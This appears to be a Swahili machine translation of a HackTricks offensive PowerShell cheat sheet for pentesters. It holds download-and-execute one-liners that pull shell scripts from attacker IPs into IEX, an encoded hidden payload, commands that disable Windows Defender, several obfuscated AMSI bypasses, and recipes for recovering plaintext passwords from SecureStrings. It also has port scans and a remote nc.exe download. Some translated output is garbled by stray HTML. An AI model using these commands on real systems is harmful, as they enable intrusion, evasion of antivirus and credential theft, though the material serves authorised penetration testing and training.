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History

Translator f480472afd Translated ['windows-hardening/basic-powershell-for-pentesters/README.md		2024-06-04 22:14:59 +00:00
..
powerview.md	Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/	2024-05-02 15:14:31 +00:00
README.md	Translated ['windows-hardening/basic-powershell-for-pentesters/README.md	2024-06-04 22:14:59 +00:00

Msingi wa PowerShell kwa Pentesters

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
Pata bidhaa rasmi za PEASS & HackTricks
Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.

Maeneo ya Msingi ya PowerShell ya Default

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Amri za kimsingi za PS za kuanza

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Pakua na Tekeleza

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Pakua na Tekeleza kwa Nyuma na Kizuizi cha AMSI Kupita

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Kutumia b64 kutoka linux

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Pakua

System.Net.WebClient

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Kuita-ombi-ukurasa

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Uhamishaji wa Bits

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Wezesha WinRM (PS ya Mbali)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Lemaza Defender

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

Kupita kwa AMSI

amsi.dll ina pakuliwa katika mchakato wako, na ina maagizo muhimu kwa maombi yoyote kuingiliana nayo. Na kwa sababu imepakuliwa katika nafasi ya kumbukumbu ya mchakato unao dhibiti, unaweza kubadilisha tabia yake kwa kubadilisha maagizo kwenye kumbukumbu. Hivyo kufanya isigundue chochote.

Hivyo, lengo la kupita kwa AMSI ni kubadilisha maagizo ya DLL hiyo kwenye kumbukumbu ili kufanya ugunduzi usiwe na maana.

Ukurasa wa wavuti wa jenereta ya kupita kwa AMSI: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Kupita 2 - Kufunga Wito wa API Uliosimamiwa

Angalia chapisho hili kwa maelezo ya kina na nambari. Utangulizi:

Mbinu hii mpya inategemea kufunga wito wa API wa njia za .NET. Inageuka kuwa, Njia za .NET zinahitaji kubadilishwa kuwa maagizo ya mashine ya asili kumbukumbu ambayo mwishowe huonekana kama njia za asili. Njia hizi zilizobadilishwa zinaweza kufungwa ili kubadilisha mtiririko wa kudhibiti wa programu.

Hatua za kufanya kufunga wito wa API wa njia za .NET ni:

Tambua njia ya lengo ya kufunga
Taja njia na itifaki sawa ya kazi kama lengo
Tumia uangazaji kupata njia
Hakikisha kila njia imekamilishwa
Pata mahali pa kila njia kumbukumbu
Badilisha njia ya lengo na maagizo yanayoashiria kwa njia yetu ya uovu

AMSI Kupita 3 - SeDebug Haki

Kufuata mwongozo huu & nambari unaweza kuona jinsi kwa kutosha kwa haki za kufanya uchunguzi wa mchakato, unaweza kuzindua mchakato wa powershell.exe, kufanya uchunguzi, kufuatilia wakati inapakia amsi.dll na kuidisable.

AMSI Kupita - Vyanzo Zaidi

Historia ya PS

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Tafuta faili mpya

Chaguo: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Pata ruhusa

Get-Acl -Path "C:\Program Files\Vuln Services" | fl

Toleo la OS na Visasisho vya Haraka

[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Mazingira

Get-ChildItem Env: | ft Key,Value -AutoSize #get all values
$env:UserName @Get UserName value

Vinginevyo anza diski

Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

Bakuli la Kuchakata

$shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()

https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/

Uchunguzi wa Kikoa

{% content-ref url="powerview.md" %} powerview.md {% endcontent-ref %}

Watumiaji

Get-LocalUser | ft Name,Enabled,Description,LastLogon
Get-ChildItem C:\Users -Force | select Name

String Salama hadi Maandishi ya Kawaida

$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

Au kuchambua moja kwa moja kutoka kwenye XML:

$cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List *

UserName       : Tom
Password       : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain         : HTB

SUDO

#CREATE A CREDENTIAL OBJECT
$pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<USERNAME>", $pass)

#For local:
Start-Process -Credential ($cred)  -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://10.10.14.11:443/ipst.ps1')"

#For WINRM
#CHECK IF CREDENTIALS ARE WORKING EXECUTING whoami (expected: username of the credentials user)
Invoke-Command -Computer ARKHAM -ScriptBlock { whoami } -Credential $cred
#DOWNLOAD nc.exe
Invoke-Command -Computer ARKHAM -ScriptBlock { IWR -uri 10.10.14.17/nc.exe -outfile nc.exe } -credential $cred

Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process C:\xyz\nc.bat -verb Runas}'

#Another method
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"

Vikundi

Get-LocalGroup | ft Name #All groups
Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators

Ubao wa Kuchorea

Get-Clipboard

Mchakato

Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Huduma

Get-Service

Nenosiri kutoka kwa herufi salama

$pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file
$cred=new-object system.management.automation.pscredential("administrator", $pw)
$cred.getnetworkcredential() | fl * #Get plaintext password

Kazi Zilizopangwa

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Mtandao

Uchunguzi wa Bandari

# Check Port or Single IP
Test-NetConnection -Port 80 10.10.10.10

# Check Port List in Single IP
80,443,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "Port $_ is open!"} 2>$null

# Check Port Range in single IP
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("10.10.10.10", $_)) "TCP port $_ is open"} 2>$null

# Check Port List in IP Lists - 80,443,445,8080
"10.10.10.10","10.10.10.11" | % { $a = $_; write-host "[INFO] Testing $_ ..."; 80,443,445,8080 | % {echo ((new-object Net.Sockets.TcpClient).Connect("$a",$_)) "$a : $_ is open!"} 2>$null}

Viunganishi

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Firewall

Get-NetFirewallRule -Enabled True

Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Block
Get-NetFirewallRule -Direction Inbound -Enabled True -Action Allow

# Open SSH to the world
New-NetFirewallRule -DisplayName 'SSH (Port 22)' -Direction Inbound -LocalPort 22 -Protocol TCP -Action Allow

# Get name, proto, local and rremote ports, remote address, penable,profile and direction
## You can user the following line changing the initial filters to indicat a difefrent direction or action
Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property  DisplayName, @{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}}, @{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}},Profile,Direction,Action

Njia

route print

ARP

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Wenyeji

Get-Content C:\WINDOWS\System32\drivers\etc\hosts

Ping

$ping = New-Object System.Net.Networkinformation.Ping
1..254 | % { $ping.send("10.9.15.$_") | select address, status }

SNMP

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Kubadilisha SDDL String kuwa muundo unaoeleweka

```plaintext
PS C:\> ConvertFrom-SddlString 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```html
<h2>Translation to Swahili:</h2>

Owner            : BUILTIN\Administrators
Group            : BUILTIN\Administrators
DiscretionaryAcl : {Kila mtu: AccessDenied (AndikaData), Kila mtu: AccessAllowed (AndikaVipengeleVilivyozidishwa), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (UndaMajedwali, GenericExecute, SomaRuhusa,
Pitisha, AndikaVipengeleVilivyozidishwa), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(UndaMajedwali, GenericExecute, GenericRead, SomaVipengele, SomaRuhusa,
AndikaVipengeleVilivyozidishwa)...}
SystemAcl        : {Kila mtu: Ukaguzi waMfumo MafanikioKufikia (BadilishaRuhusa, ChukuaUmiliki, Pitisha),
BUILTIN\Administrators: Ukaguzi waMfumo MafanikioKufikia (AndikaVipengele), JINA_LA_UKOO\Watumiaji wa Kikoa:
Ukaguzi waMfumo MafanikioKufikia (AndikaVipengele), Kila mtu: Ukaguzi waMfumo MafanikioKufikia
(Pitisha)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

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README.md

Msingi wa PowerShell kwa Pentesters

Maeneo ya Msingi ya PowerShell ya Default

Amri za kimsingi za PS za kuanza

Pakua na Tekeleza

Pakua na Tekeleza kwa Nyuma na Kizuizi cha AMSI Kupita

Kutumia b64 kutoka linux

Pakua

System.Net.WebClient

Kuita-ombi-ukurasa

Wget

Wget

Uhamishaji wa Bits

Base64 Kali & EncodedCommand

Sera ya Utekelezaji

Lugha iliyozuiwa

Sera ya AppLocker

Wezesha WinRM (PS ya Mbali)

Lemaza Defender

Kupita kwa AMSI

AMSI Kupita 2 - Kufunga Wito wa API Uliosimamiwa

AMSI Kupita 3 - SeDebug Haki

AMSI Kupita - Vyanzo Zaidi

Historia ya PS

Tafuta faili mpya

Pata ruhusa

Toleo la OS na Visasisho vya Haraka

Mazingira

Vinginevyo anza diski

Bakuli la Kuchakata

Uchunguzi wa Kikoa

Watumiaji

String Salama hadi Maandishi ya Kawaida

SUDO

Vikundi

Ubao wa Kuchorea

Mchakato

Huduma

Nenosiri kutoka kwa herufi salama

Kazi Zilizopangwa

Mtandao

Uchunguzi wa Bandari

Viunganishi

Firewall

Njia

ARP

Wenyeji

Ping

Ping

SNMP

Kubadilisha SDDL String kuwa muundo unaoeleweka